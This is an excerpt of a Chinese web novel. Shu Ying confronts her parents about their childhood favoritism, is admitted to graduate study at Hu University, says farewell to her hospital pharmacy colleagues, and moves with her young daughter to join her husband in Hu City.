舒妈脸上笑着:“英儿,固言,吃了饭再走吧,外面这么冷,妈熬了羊汤呢,一大早去买的,放在炉子上煨着,肉都炖得烂糊的,喝点热汤,也暖和暖和。” 舒英听了这话,面色更是僵硬,她深深喘了口气,把手从李固言手里挣出来,强忍着心中的难受,尽量平静道:“妈,我从小就不喜欢吃羊肉。” 舒妈也是一怔,尴尬地笑笑:“我、我不记得了。”拉着舒英的手也松下来,有点不知道该往哪放。 舒英浅浅笑了笑,摇摇头说:“没关系。”只是垂下的眼睫难掩一闪而过的失望。 李固言见她这样子,心中也不好受,手一拉,又把她拉到身后去,抿唇笑笑说:“妈,我下午真有事,中午就不吃了,我们先走了。” 谷雨好像也感受到了妈妈的不开心,在爸爸怀里扭着身子,伸手在妈妈脸上摸了摸。 舒爸这时候又不知道是怎么回事,皱着眉道:“舒英,这就是你该跟你妈说话的方式吗?” 舒英咬着下唇内侧的软肉,手也逐渐收紧。 舒妈有些失落地看了眼她,道:“英儿,妈真不记得了,我记得你小时候不是很喜欢喝羊肉汤的吗?那时候咱家一买羊肉,你都高兴地围上来,兴冲冲地就要帮妈打下手。” 舒英苦笑了下,拍了拍李固言,示意他让开,她抬头看着舒妈道:“妈,从小就喜欢吃羊肉喝羊汤的是姐,我从来就没有喜欢过,我一直一直一直都受不了那股子膻味。” 小时候家里孩子多,也不怎么富裕,就算舒爸舒妈都在食品厂上班,肉也不是能经常吃到的,所以那时候家里只要买了肉,他们兄弟姐妹四个都高兴得不得了,但家里买肉一次性也只会买一种,买了鸡肉就不会卖猪肉,买了猪肉就不会买羊肉,买了羊肉就不会买牛肉。 其中牛羊肉最贵,家里人也最喜欢吃,所以很久买一次肉的话,就一定是牛肉或羊肉,但偏偏不巧的是,舒英不喜欢吃羊肉,就算两个月没吃肉了,她也能忍住不碰一点点羊肉。 也不知道她小时候是不是过于懂事,所以这么明显的喜恶,家里却没一个人注意到,没一个人在意过。 不喜欢羊肉的话说出来了,好像其他的话也不再那么难以启齿,舒英直视着舒爸舒妈道:“爸,妈,姐离婚,去沪市,我双手双脚赞成,严磊不是一个能托付终身的人,贝贝也是姐拼了命生下来的,所以姐带走贝贝,给贝贝改名都理所当然。” “但我不知道为什么,你们因为这件事要怪我怨我。” “不过也无所谓了,反正我从小就是你们不疼的孩子,把什么事情都推到我身上不也很正常吗?” 她这话说的实在不留情面,舒爸舒妈听完只觉脸上燥热,又觉得心中气愤,原来他们在二女儿心里就是这样的。 舒妈当下就流下眼泪来:“人都说生儿当知父母恩,你自己也生了孩子,最知道生孩子养孩子的辛苦,你怎么能说这种话来刺我的心?” 舒爸要强硬一点,瞪着眼就说:“好好好,我今天才知道你这是心里记恨着我们呢,我们有什么不好,啊?我们把你养到这么大,是缺你吃了,还是短你穿了,就因为不记得你不吃羊肉就弄成这样子?” 李固言听到这话就想把舒英把身后藏,舒英现在也在气头上,倔着气哪里是他能拉动的? 她眼泪也是哗哗地淌,心里跟被人手捏住了一样,痛得喘不过气来,道:“小的时候家里订牛奶,永远没有我的那份,买衣服也都是姐穿过的才给我,一件新衣服都没有,武茂比我小,可他就能有,放了学后,永远都是我在家里帮着忙上忙下,哥姐还有武茂就能出去玩,而我想玩就要被说不懂事,成天就知道贪玩。” 舒妈是真没注意过这些小事,她也不知道舒英会这么难受,把这些都记在心里,这么大了还忘不了。 那家里孩子好几个,她天天上班在厂里站一天忙一天,累得腰疼,回到家后还得洗衣服做饭,舒爸不干事儿,就是孩子们帮她,她累得狠了,脾气也不好,都是看见谁就让谁干,真不是故意只让她做。 舒英抹了抹眼泪,谷雨看妈妈哭,吓得也跟着哭,边哭边喊“妈妈”,李固言知道这些事压在她心里压得久了,今天就想说出来发泄一通,也就不再拦着,只是抱着谷雨哄。 舒英也知道她说的这些都是小事,可生活不就是由零七碎八的小事组成的吗?这些偏心的让人无法遗忘的小事,在她安静无闻的童年里时时刻刻都在刺痛着她的心,她那时候只是小,不是傻,她什么都懂,只是不说而已。 她继续道:“还有,家里就两间房,姐跟你们 睡一间,哥哥弟弟一间,我连床都没有,天天一到晚上就搭板子睡客厅里,客厅里黑乎乎的,两个房间里面都会传来你们的说笑声,就我自己,就我自己孤零零地躺在板子上。我说了多少回,想让爸给我做个小床就放那边角落里,再让妈给我弄个能拉的帘子,我说了多少回!但是直到我上了中专住校都还是搭床板睡,没一个人听我说的话,直到上中专住校,同学们都抱怨宿舍差,就我觉得宿舍好,因为我能睡在真正的床上,房间里还有人能一起说说笑笑,而直到结婚,我才能真的有一张我自己的床!” 她越说越哽咽,直到泣不成声。 后面王梅和司容都惊了,怎么也没想到今天好好一场回娘家能弄成这样,两个人下意识对视一眼,眼中都是不可置信。 司容还想着待会儿回自己娘家呢,这下搞得她都不知道该什么时候走了,她想给舒武茂使眼色都白搭。 舒武茂和舒文佑站在旁边也都震惊得不行,在他们眼里,姐姐/妹妹一向是好脾气,总是安静腼腆温柔,没想到今天竟爆发出这么大的矛盾。 这些话,舒英也没怎么跟李固言说过,他抱着谷雨只觉得心里堵得慌。 第50章 第 50 章 录取通知书 舒英不知道是不是自己太过斤斤计较, 她只觉得自己难受得快要疯掉。 该说的话都说完,舒英也不顾他们的反应,从李固言怀里抱走抽噎的谷雨, 打开门就出去。 李固言在后面跟着, 还不忘安慰两句舒爸舒妈,让他们别往心里去。 等他们走后,舒妈像是站不稳似的, 向后退了几步,瘫坐在沙发上,舒爸气得也有些喘,大声咳嗽着。 王梅和司容拉着吓哭的孩子, 不停地哄着。 舒文佑留下来照顾俩老人,对舒武茂道:“你去追上去看看英儿怎么样了,跟着劝一劝。” 舒武茂点点头答应,急忙换了鞋出去。 屋外寒风刺骨, 舒英哭过一场, 被风一吹,脸上更是如刀割般, 李固言从后面跟上来, 也不说话,揽着她,从路边招了一辆出租车。 舒武茂恰好这时候追上来,在后面小跑着大喊:“二姐!” 舒英先把谷雨塞进车里, 这才回过头去看他,神色冷淡,双眼还有些泛红。 舒武茂抿了抿唇,其实也有些不知道该说什么, 最后迎着舒英不耐烦的眼神道:“二姐,你别怪爸妈,他们也是没顾上。” 舒英冷笑一声,“你现在自己也有了孩子,那么你就应该清楚,爱不爱其实很简单,不要跟我说什么没顾上,那些不过都是借口。”说完,身子一矮也进了车里,徒留舒武茂有些无措地站在那。 冷风呼呼地吹,路边树木光秃秃的枝干晃了晃。 李固言知道舒英现在这些话都是因为在气头上,对舒武茂说:“武茂,爸妈现在应该也正难受呢,你先回去看看爸妈,你姐这我看着呢,不会有事的,你们别担心,等过几天咱们再聊。” 他话说到这份上,舒武茂也不好再说什么,透过车窗看了眼舒英冷漠的侧脸,只好笑了笑道:“那姐夫,你们回去路上注意。” “好,你也回去吧,外面天冷。” 出租车直接回了机械厂家属院,谷雨哭累了,在车上就睡着了,李固言轻轻给抱下来,抱到家里床上,看她睡得沉,拉过被子给她盖上,有烧了热水灌了热水袋放到她脚边。 他做这些事的时候,舒英就安安静静地坐在椅子上,看着他来来回回地忙碌。 李固言弄好谷雨后从房间里出来,手里还抱着一个热水袋,走到舒英旁边,把热水袋放她怀里,低着头看着她,柔声问:“饿不饿?想吃什么?还吃饺子吗?” 提到饺子,舒英又想起小时候生病舒妈做的那一碗饺子,她摇摇头道:“我不饿,现在什么都不想吃。” 在舒家折腾了那么久,现在都快过了晌午点了,李固言看了眼手表说:“不吃饭怎么能行?我刚才看冰箱里还有年前割的猪肉,我待会儿和点面,咱俩包饺子吃吧?” 舒英还是摇头,“不想吃饺子。” 好歹没继续说不想吃饭了,李固言笑了笑,又问道:“那下点面条?” “行。” “那我正好把冰箱里的肉炒一炒,炒个浇头就面吃。” 等李固言把面条做好后,谷雨也醒了,他给她盛了一小碗,谷雨乖乖的就吃起来。 吃饭的时候舒英还是很沉默,李固言也不多问,等都吃完后再把锅碗都刷洗干净。 李固言把手上的水擦干,道:“我困了,你陪我睡会儿午觉吧?” 舒英可有可无地点点头。 等躺倒床上,舒英才觉得自己的确有些疲惫,窝在李固言怀里,嗅着他身上的肥皂香,没一会儿就睡着了。 她睡着了,李固言还没睡,对着旁边玩耍的谷雨轻轻嘘了一声。 等谷雨安静下来,李固言静静打量着舒英的脸,眼皮还是红红肿肿的,可见是哭得狠了。 他轻叹口气,伸手将她脸前的发丝挽到而后,露出白白净净的一张脸,他凑过去,轻轻在她脸颊处印上一吻。 谷雨瞧见,也要有样学样,在爸爸的帮忙下,也在妈妈脸上“吧唧”亲了一口,还没把妈妈吵醒。 舒英这一觉睡得实在沉,醒来的时候房间都已经黑下来了,她还蜷在李固言怀里,被他紧紧搂着,她动了一下,把腰间的胳膊拿起来,转了个身,谷雨也在四仰八叉地睡着,还时不时地砸吧砸吧嘴,不知道梦里又梦见了什么好吃的。 舒英看着她忍不住笑了笑,伸手将她的被子又往上拉了拉。 “醒了?”声音有些沙哑,是睡久了的缘故。 舒英腰上又被搭上一条有力的臂膀,搂着她还收了收,她嗯了一声。 李固言抱着她又挤了挤,将脑袋窝在她颈窝里,慵懒地蹭了蹭,问:“晚上想吃什么?” 一下午就被这么睡过去,睡醒又到了该吃饭的点了。 舒英摸了摸谷雨的小脸,热乎乎的,她又转了回去,和李固言面对面。 李固言还有些睡眼惺忪,看着她,她睡了这一觉,眼睛已经恢复了,身上瞧着也没有那股子死气了。 舒英没回答他吃什么,只是问:“我上午会不会说的太过分?就像他们说的,在那个年代,他们其实没有缺我吃穿。” 她话音刚落,李固言就道:“没有。” 随后解释说:“不患寡而患不均,你们家那时候不是没有条件让你过得更好,只是他们没有,所以不要怀疑自己。但就论‘父母’这二字而言,他们所做的可能不算多好,但的确也已合格。” 舒英看着他,他眼神深邃,长而平直的睫毛带出一片阴影。 正如他所说,舒爸舒妈在对待四个孩子上的确有不公平的地方,但相较于大多数的父母来说,他们的所作所为也已经合格,至少没让她早早辍学,没逼着她养家,她结婚后也没扣下她的彩礼。 他们只是偏心,只是相比于另外三个儿女,格外的不重视她,不重视她的需求,也不重视她所说过的话,也就是这点伤透了她的心。 可这点却又不足以让她和家庭决裂,毕竟他们对她那些好也是真是存在,正因为这好中带着点不公,论坏又不够才让她最是煎熬。 舒英长叹口气,也不知道该说些什么。 李固言道:“不要想太多,太阳会 正常升起,地球会照样转动,日子会一天天地过下去,时间会给出答案。” “受到的痛苦都是真实存在的,感受到的温情同样存在,不用刻意去忘记哪一点,就让他们随风而逝吧,我们只要做好我们该做的就行。” 毕竟是生养的父母,舒英不可能跟他们断绝关系,李固言把这场争吵定义为父母与子女间的正常矛盾,矛盾过后,而矛盾过后,他们还是父母,他们也还是子女。 舒英点点头,将头往他怀里一埋。 两个人又躺了一会儿,等舒英情绪平复好后,李固言才笑着起来,又去把谷雨叫醒,白天睡得够多了,恐怕她晚上要睡不着开始闹了。 李固言现在还记得有一段婴儿时期她时间睡颠倒了,天天夜里哭着闹人,那段时间他可是备受折磨,从那之后他就没敢让她白天睡太久。 只是今天是个例外。 过完年后,舒英把家里的这些乌七八糟的事都放在了一边,专心致志准备复试。 2月中下旬初试出成绩,三月中沪大的复试线出来,没有例外的,舒英的成绩比复试线还要高出将近20分,成功进入复试。 复试就在三月末,要到沪大去考。 舒英简单地收拾了一些日常用品,没让李固言回来接,独自带着谷雨坐火车去了沪市。 李固言现在还是在住职工宿舍,只是他职位高,是单人间。 舒英到的时候,李固言去接的她,兴高采烈地带着她来到自己住的地方。 舒英一进门就打量着他这间宿舍,一间单人间,陈设很简单,一张单人床,一个衣柜,一张书桌和一把椅子,李固言一向爱干净,手脚也勤快,房间被他打扫得干干净净,物品摆放整齐有序,地板亮的可照人。 谷雨坐了一路车,哪怕是卧铺,也有些累了,有些恹恹地坐在床上。 李固言疼惜地摸摸她的小脸,问:“谷雨饿不饿?” 谷雨摇摇头,又打了一个哈欠,眼泪花都出来了。 舒英笑了笑,从口袋里掏出一颗奶糖递给她。 谷雨看到奶糖,眼神瞬间一亮,脸上也绽放出笑容,受宠若惊般把糖从妈妈手里拿过来,熟练地剥开塞到嘴里。 她小松鼠一样的吃相,瞬间将两人都逗笑。 舒英好笑道:“她现在可聪明了,知道你心疼她就会给她糖吃,有时候还会故意装可怜。” 李固言有些忍俊不禁地看着谷雨,把她抱起来问:“真的吗谷雨?你现在这么聪明呢?” 谷雨一副听不懂的样子看着他,睁着两只忽闪忽闪的眼睛,让人就是想质问都不好意思说。 李固言的宿舍就一张单人床,三个人如何能睡下,而且厨房厕所都是公共的,用起来也不太方便。 于是两人在宿舍里坐了会儿后又出去开了间大床房。 谷雨到了新地方,精神又好了些,一脸新奇地在房间里乱转,摸摸这又瞧瞧那。 住的楼层高,她还要趴在玻璃窗边朝外看,眼睛里都是兴奋,舒英瞧着她开心,自己也高兴。 来之前李妈还说,她是来考试,又不是来玩,建议别带谷雨一起了,就把谷雨放家里,等她考完也就回去了,没几天时间。 舒英没舍得,李固言也想闺女了,就干脆带着过来了。 这下看来,带过来还是没错,要不然还不知道这时候谷雨没看见她得怎么哭呢。 到了舒英考试这天,李固言又请了假,李固萱也提前过来接着,带她去看考场,还笑着说:“嫂子,这等你考上了,可就算是我学妹了,以后也要叫我一声学姐了。” 舒英笑起来:“要真考上了,我天天叫你学姐。” “那可不敢,妈听见了该说我没大没小了。” 两个人嘻嘻哈哈的,舒英的焦虑也被缓解。 复试跟之前的考试都不太一样,不光有笔试,还有面试,她还从来没面试过,不免就有些紧张。 李固萱之前考研的时候已经经过一次了,她细细地把自己的经验全都告诉她。 复试也有惊无险的结束了,舒秀珍等她考完后才带着贝贝过来找她。 “你之前准备考试,我怕我过来会影响你,就等到现在才来,怎么样,考得如何,有把握吗?”舒秀珍道,一年多没见,她身上的气质是越发的游刃有余了,眼神圆滑中还藏着点锋芒。 舒英抿唇笑:“考完不许问成绩。” 舒秀珍也笑起来:“好好,我不问,不问。对了,你今天有什么安排吗?我这来沪市也一年了,要是没安排的话,我带你去玩一玩?” 李固言在旁边听这话没忍住轻声咳了下。 舒秀珍和舒英都看过去,舒英无奈笑了下:“有安排了。” 舒秀珍挑眉,又看了妹夫一眼,问她:“准备去哪?正好我今天也没什么事,跟你们一块儿去。” 她这样说,李固言也不好拒绝,于是三人行就变成了五人行。 舒秀珍抽了个空问舒英:“之前妈给我打电话,说你跟家里大吵一架,电话里我不好问你,现在能跟我说说是怎么回事吗?” 舒英愣了一下后摆摆手:“都是些鸡毛蒜皮的小事,没什么可说的。” 过去了就已经过去了,她不太想再说起这些事。 其实舒妈电话里已经跟舒秀珍把原因说得很清楚了,舒秀珍只是想听她也说一下,见她不愿意说,也不好逼问。 她沉默了下后轻声道:“英儿,这么些年真的委屈你了。” 之前她也没在意过这些事,可经过一场不受重视的婚姻后,她懂了很多,已经不再是之前那个任性妄为的小姑娘了,她这段时间也细细想了很多小时候的事,小时候舒英经常沉默,不言不语的,让干什么就干什么,是他们兄弟姐妹四个中最懂事的那个。 可是有时候懂事并不意味着好,懂事可能是委屈受多了,不懂事不行。 舒英听到这话,抿了抿唇,眼睫颤了颤,自从年初二她从娘家摔门而出后,这段时间就没回去过,一方面是因为要复习准备考试,另一方面也是因为她内心里就不想回去。 她不回去,舒妈却来了好几次,给她送些自己做的吃的,有时候是炸的丸子,有时候是包的包子,她都没拒绝,而且还会请她进来坐一坐,一起吃个饭。 但就算母女俩还坐在同一张桌子上,却没办法像之前那样想说什么说什么,两个人都很拘谨,一顿饭下来,往往是从沉默变得更沉默。 舒秀珍说这些也不是想引起她的伤心事,于是转而又爽快地笑着说:“今天想吃什么想买什么,我付钱,都不要跟我客气。” 略过刚才的话题,舒英的情绪也恢复平常,跟着笑起来道:“我才不跟你客气。” …… 复试结束,舒英又要带着谷雨回安城,走前一晚,谷雨睡着后,李固言很不舍地抱着她,算着日子轻叹:“五月底录取通知书才出来,你和谷雨还有两个月才能搬过来。” 舒英:“快了,就两个月了。” “可是两个月也好久啊。”李固言轻声抱怨。 舒英忍不住笑着安慰他:“一年多都熬过来了,也不差这两个月了,你这段时间好好工作,可别让我听到一些你不好的流言。” “听到了会怎么样?” “听到了?”舒英抬手放到他耳朵边,轻轻捏了下,“听到了我就不要你了,我跟谷雨我们俩自己过,我看我姐她现在带着贝贝过得也挺自在,可比结婚的 时候开心多了。” “不行。”李固言手脚并用,八爪鱼一样缠着她,“你不要我,我就天天缠着你,缠得你没办法。” 夫妻两个玩笑,房间里气温上升。 李固言眼神有些暗沉地看着她,声音也越发低哑,诱哄似的说:“帮帮我,嗯?”尾音上扬,像勾人的狐狸精。 舒英耳尖发烫,有些受不住他这样子,小声提醒道:“谷雨,谷雨。” 李固言闻言抬头看了眼,随后又低下头在她唇上压着,唇齿之间露出点缝隙含含糊糊道:“睡着呢。” “待会儿醒了。”舒英承受着他的吻,心里却还担心着。 李固言虽然色胆包天,但也怕会被闺女看到,最后在舒英唇上狠狠吸吮了一下后起身,说:“去浴室。” 舒英看着谷雨有些犹豫,但想着跟他下次见面又得两个月,一狠心,也从床上起来。 灯光亮至天明,舒英觉得自己双腿软得都走不动路,她坐在出租车上不停地给始作俑者飞着眼刀。 李固言抱着谷雨讨好地笑,手还不老实地去勾着她的。 舒英倒是想挣开,但转念一想,又觉得舍不得,只能别过头去不搭理他。 到了车站,李固言忙上忙下地把东西都从车上拿下来,又给拎到火车上,帮她全部安置好后还有些不舍得下车,跟谷雨如出一辙的眼神湿漉漉地看着她,像是被人舍弃的流浪狗般可怜。 舒英忍不住心软,开口道:“再过两个月我们就来了,你再忍忍。” 李固言抿抿唇,低低应了声。 舒英从沪市回来后,还照常上着班,药房的人现在都知道她考研的事,不过录取通知书还没下来,也不好打听,但心里都清楚,以后他们恐怕是难以再共事了。 五月底,夏天悄然来临,舒英的沪大录取通知书终于如愿地通过邮递员送达到她的手中。 舒英拿到通知书后先是把家里的东西给打包处理掉,能带走的就带走,带不走的就都卖掉。 家属院的房子产权还是属于机械厂的,李固言走后她们还能住在这里也是因为他名义上还是属于机械厂,而且他是受了委屈被逼走的,机械厂也都清楚,也都没在这上面纠结,但她现在搬走,以后这个房子他们恐怕是回不来了。 舒英在这间住了差不多八年的房子里转了转,摸着墙上的砖,还觉得有些不舍,这间房子是她自己拥有的第一个家,里面的东西都是属于她的,留有她生活的痕迹,现在说走就走,心里还真是有些不是滋味。 舒英让谷雨站在院子里的那株月季前,给她拍了张照片,只是可惜这株月季现在已经不开花了。 屋子里的大件都卖掉后,电话机搬到李家去,这样等她们到了沪市,来回打电话也方便。 等家里的事都处理完后,舒英最后才跟医院里辞职。 其实她想离开,二院是觉得可惜的,甚至还一再挽留,想让她研究生读完后再回来上班,甚至愿意这期间工资照发。但明白的人都清楚,这几乎不可能,沪市和安城之间,除了对安城有执念的,恐怕都会选择留在沪市,更别说她丈夫现在也在沪市。 张主任叹息一声道:“你一毕业就进了咱们药房了,那时候你还是青涩小姑娘呢,后来还是我看着你结婚,看着你生孩子的,没想到时间这么快,一晃都这么多年过去了。小英,我不得不说,你是我见过这么多人里,最认真也是最上进的,药房在医院里的处境你最清楚不过,通常都是被看不起的,有什么好事那是绝对想不起咱们来,但是你没有被困于此,你先是通过自考拿到本科学历,让医院里的人都对你、对咱们刮目相看,现在又考上了沪大,咱们医院都没有几个人有你这么高的学历,我是发自肺腑的佩服,不过天下无不散的宴席,小英啊,你去沪市闯一闯吧,闯出来了,也跟咱们这些老同事说一说,那边是个什么样子的。” 他这一番话说得舒英也忍不住眼眶湿润,在拿到通知书的时候,她一直都是喜悦的,理想的实现,一家人团聚的渴望。但现在她又觉得有些遗憾,遗憾这注定的分开。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 50-60 第51章 第 51 章 离开安城 小胡是舒英一手带出来的, 知道舒英要走了很是舍不得,刚毕业的时候她还没成年呢,现在也已经是药房里的中流砥柱了。 “姐, 你以后可一定要经常回来看看我们。”小胡一边抹着眼泪一边道。 看着她哭, 舒英也情不自禁跟着落了泪,又笑起来:“放心吧,我在二院待的比你还久, 感情深着呢,以后学校放了假,肯定会经常回来的,就怕你那时候还要嫌弃我来的太勤, 打扰你上班。” “才不会呢,姐你净开玩笑。”小胡也忍不住笑了笑,又哭又笑的,任谁瞧了都觉得乐。 在医院里辞好职后, 几人还张罗着等晚上下班要给她办一个小的送别宴, 舒英知道他们好意,也就不再拒绝。 送别宴就在二院旁边的一家饭店包厢里, 张主任来了, 连已经退休的汪姐蒋姐听了消息也过来了,药房的人除了要值班的小于,算是都到齐了。 菜上来后,舒英还问服务员要了两个打包盒, 对大家说:“小于今天没来,先给他打包点干净的饭菜,等待会儿小莫你给他拿过去。” “哎。” 饭桌上,张主任说送给别要喝点酒, 要了瓶酒后,一人给倒了一小杯,意思一下。 张主任职位最高,他先站起来举杯,舒英也赶忙拿着酒杯跟着站起来,听他道:“这小英以后肯定是不可限量的,我这个老领导也不知道该说些什么,我就拽点文的,大家别嫌弃。” 众人都哈哈笑起来,“主任你要拽点什么文的,我们也听听。” 舒英也笑:“主任您文采斐然,肯定都是好话。” “哈哈,好,那我就说了啊。”他酒杯端起来,认真道,“以前的送别诗多是忧愁不舍的,但我更喜欢这一句,‘莫愁前路无知己,天下谁人不识君’,这句诗送给你,也祝福你。我干了,你抿一点就行。”说完豪迈地将杯中酒一饮而尽,还倒过来给大家展示展示。 大家看着又笑,又觉得心中酸涩,氛围推到了这,就算原本心中只有一点点不舍,这下子也被无限放大。 张主任说完后,按照辈分,接下来是汪姐蒋姐。 她们俩是早就进药房的老同事了,家里有些关系,所以时常偷懒打趣,但并不难缠,舒英遇到问题她们还会很认真地帮忙。 蒋姐汪姐之后就是小胡,小胡此时已经哭得眼泪涟涟了,舒英玩笑道:“快拿碗接着!” “姐!”小胡一跺脚,擦干净眼泪后哽咽道,“姐,咱们这边没叫过老师,我都是叫你姐,但我来了咱们药房后,一直都是你带着我,不厌其烦地教着我,我迟到了还帮我打哈哈……” 张主任适时接话笑道:“好啊好啊,看来你这没少迟到啊,自己都招了吧?” “主任你别打岔!我都快忘了我要说什么了。”小胡也被逗笑,又按了按眼角,继续说:“姐,我就是想说,这几年谢谢你,你以后不要忘了我才好。” 舒英起身走到她旁边,亲手给她把眼泪擦去,喉头也有些泛酸,道:“都这么大人了,怎么还哭成这样?倒是你,可别忘了我才是。” 一顿饭吃到很晚,大家都是真情流露,快结束的时候,宋院长听说他们在这边给舒英送别,还特意过来说了两句。 “听说你考上沪大的研究生,就要走了,我也来送送你,可别嫌弃我才好。”宋院长脸上挂着浅浅的笑,这么多年过去,瞧着比他刚来时像是更瘦了,不过依然清矍。 舒英笑起来:“院长您能来可是我的荣幸,怎么会嫌弃。” …… 从饭店里出来,一阵风吹过来,舒英瞬间清醒许多,她转头看向旁边矗立的二院,心中感慨万千,想当年二院是安城出了名的差,现在建了新楼,引进了高材生,买了先进设备,二院一点一点地改变,在安城百姓心中的口碑也逐渐变好。 二院步上了正轨,她却要去奔赴自己的理想了。 舒英释然一笑,迎着晚风欣赏着晚霞回到家属院。 家属院里的东西都已经处理的差不多了,舒英买了明天早上去沪市的车票。 李妈 在家里抱着谷雨,十分的不舍,谷雨就是她从小带到大的,现在要去沪市了,以后说不定都只有寒暑假才能见一次面。 谷雨已经三周岁多了,三十多斤,所以李妈平时非必要已经很少抱她了,现在却抱着她不舍得松,亲昵宠爱。 李妈对舒英道:“谷雨出生的时候我还想着能一直看着她长大呢,现在看来是计划赶不上变化啊。” 舒英笑了笑:“等爸退休了,您跟爸都来沪市,还帮我带着谷雨。” “那倔老头,他能愿意去沪市就奇了怪了。”李妈摆摆手,一副不可能的样子。 沪市跟安城的方言差别太大,而且老人都不太愿意离开故乡。 “不常住,经常来沪市玩玩嘛。”舒英继续劝说,打趣道,“你们现在说不想去,等到时候打电话,谷雨一说想爷爷奶奶了,你们还不得记得团团转?立马就买了去沪市的火车。” 李妈也不好意思地笑起来,又摸着谷雨宠溺地跟她贴了贴脸,“那要是我孙女说想我,我管那老头子去不去,我肯定要去见我宝贝孙女的。” 谷雨两只肉嘟嘟的小手也搂着奶奶,“啪叽”一口在她脸上亲了下。 李妈这下更舍不得了,瞧着眼里都犯了泪花。 第二天一早,舒英就又带着谷雨坐上了去往沪市的火车。 火车疾驰而过,属于安城的楼房、农田、树木都向后快速略去。 这下是真的要离开了。 舒英走前也没跟舒爸舒妈正式告别,就打了个电话说了一声。 舒爸在家气得不行,大女儿离婚去了沪市,以后恐怕是不回来了,小女儿考学也去了沪市,估计也是要定居在那里,拢共就这俩闺女,还一个二个的都跑去了那么远的地方。 舒妈没有他这么强硬,但心里也是不好受,她年纪大了,以后肯定是见一面少一面了,现在大女儿因为他们不让离婚,不让要贝贝的事跟他们离心,小女儿也因为他们偏心而埋怨他们…… 舒妈心中说不出的苦涩,但现在再后悔也没办法了,也挽回不了两闺女的心了。 舒家人这边心思各异,火车上谷雨却是兴奋得紧。 她仰着小脸问舒英:“妈妈,我们去找爸爸吗?” “是啊,找爸爸。”舒英搂着她忍不住在她脸上亲了下,又问,“宝宝饿不饿?” 小谷雨晃了晃脑袋:“不饿。” 舒英软声软语:“好,那饿了要跟妈妈说。” “嗯!”谷雨重重点头,不一会儿眼底闪过一丝狡黠,俏皮地笑起来问,“那妈妈,我现在能吃一颗糖吗?” 舒英点了点她的小鼻头,有些好笑:“行,你想吃什么糖?我口袋里有奶糖、花生糖还有酥糖。” “要吃花生糖。” “不是最喜欢吃奶糖吗?”舒英边说边把花生糖从兜里拿出来,剥掉糖纸放她长的大大的嘴里。 谷雨嘴里搅着糖,眼睛眨巴眨巴,含含糊糊说:“妈妈吃奶糖。” “宝宝这么好,要把最喜欢的糖留给妈妈吃呀。” “嗯!” 她眼神亮晶晶的,大大的黑眼瞳里清晰地倒映出舒英的身影。 舒英感动地揉了揉她的小圆脸,瞧上去更可爱了。 火车十几个小时到沪市,母女俩一天都在火车上度过,舒英特意带了故事书,让谷雨趴在自己身上给她读,倒也不觉得无聊,很快到沪市。 李固言早早就在站台等着了,一颗心激动地砰砰跳,这次她们母女俩过来后就不用再回去了,他也不用再一个人独自在异地煎熬想念她们了。 他们所有的努力,所有的孤独,都是为了今日的团聚。 舒英从车上下来,手紧紧牵着谷雨,生怕人流会把她们冲散。 她们带的行李太多,四季的衣服,常用的物品,装了好几个蛇皮包,就这还是把能不带就不带的都撇在家里的结果。这么多东西她们自己没办法全拿下来,还是乘务员帮忙给搬到站台的。 李固言看到她们后就赶忙过来帮忙,几个大包全都扛在身上,脸上还挂着笑。 谷雨一看见他就喊着:“爸爸!”要不是他要拎东西,恐怕扒着他的腿就要往上爬。 她们这次过来是要常住的,所以李固言提前就在厂子旁边租好了房子,还包了车过来,三人坐上车后就往那边去。 车上,李固言道:“两室一厅的房子,三个月起租,我们买房还要装修,我就先租了三个月,要是后面时间不够还能再续租。” 他考虑得很周全,舒英点点头笑着夸了一句。 两个月没见,李固言早想她了,看着她的眼神有些幽深。 这还在车上呢,他就这么露/骨,舒英瞪了他一眼。 她这一瞪哪里有什么威慑力,反而更显魅力,李固言扬唇笑了下,露出整齐的牙齿。 六月初已经是夏天了,舒英将车窗摇下来,晚风呼呼地吹进,谷雨舒服地眯起眼,很享受的样子。 舒英看着她忍不住笑,伸手捏了捏她的脸问:“开心吗?” 谷雨笑得眼睛弯弯,大声回道:“开心!” 李固言看着她们娘俩也跟着笑,车子在路上狂奔,风也呼啸着,但谁也不觉得吵,只觉得心中静谧。 夫妻俩相视一笑,眼中是说不出的默契。 到了租住的地方,李固言把车钱付给司机,又不知道从哪掏了一包烟出来扔到副驾上。 舒英看到后狐疑道:“你别跟我说你现在染上了烟瘾啊。” 李固言一愣,看着远去的车子反应过来笑道:“哪儿啊,那是我专门买来给司机的,像这样包车,有时候光付钱显不出什么诚意,就再塞一包烟。” 这个包车司机是熟人介绍,互相都认识,不能只给钱,不然回去人家一唠叨,显得他不会做事。 男人并不都像大家口中说的大方豪迈不拘小节,很多男人心眼小得跟针鼻似的。 舒英接触的少不知道,他是天天跟这群大老爷们打交道,里面的门道清楚得很。 舒英轻哼一声,对他的话半信半疑,但抽烟这种事也藏不了,他要是不抽,时间自会证明。 李固言看她的表情就知道她在想什么,大呼冤枉。 一家三口笑笑闹闹地把东西都搬到楼上去,就连小家伙谷雨都“嘿咻嘿咻”地跟在他们屁股后面帮着拎了几个小东西。 但要论起来,她这帮忙反而还没有不帮的好,小小的人手里拎了东西,舒英还得分神注意她别什么时候一屁股摔在地上。 但小家伙十分热情,做妈妈的也不好打击她的主动性,只好一边夸奖一边担心地注意着。 李固言租的楼房,在五楼,东西多,就要一趟一趟地爬楼,好在李固言给力,一次性能拎两个大包,所以舒英带着谷雨没爬第二遍。 沪市现在高速发展,这几年不知道建了多少楼盘,这楼也是没建几年,瞧着还很新,周围该有的设施也都齐全。 舒英进了屋就先打量这间房的格局,两室一厅,南北通透,白天的时候采光一定后,唯一让她有点不满意的就是在五楼了。 其实五楼也算不上什么大缺点,现在楼越建越高,十几二十楼的在沪市也不少见,不过听说人家这么高的楼都配了电梯。 主要是舒英这么些年一直住在平房里,一时间对爬楼还有些不适应。 舒英站在阳台往下看,傍晚小区里人不少,三三两两地在楼下散步,路道边还放有长椅,走累了还能坐在长椅上歇歇。 沪市不愧是沪市,安城和这一对比,当真是天壤之别了,舒英摇摇头,不知道以安城的发展,还要多少年才能达到沪市现在的繁华。 李固言把行李都先堆在客厅,入户门关上,在自己家里,也不用担心谷雨乱跑,他走到舒英旁边,手自然搭在她肩膀上,问:“怎么样,是不是还不错?” 舒英转过头看向他,天色暗下去,给她的面庞添了一抹朦胧,更是勾人,看的人心里发痒。 她点点头,眼中都是笑意:“是,很不错,想要什么奖励?” 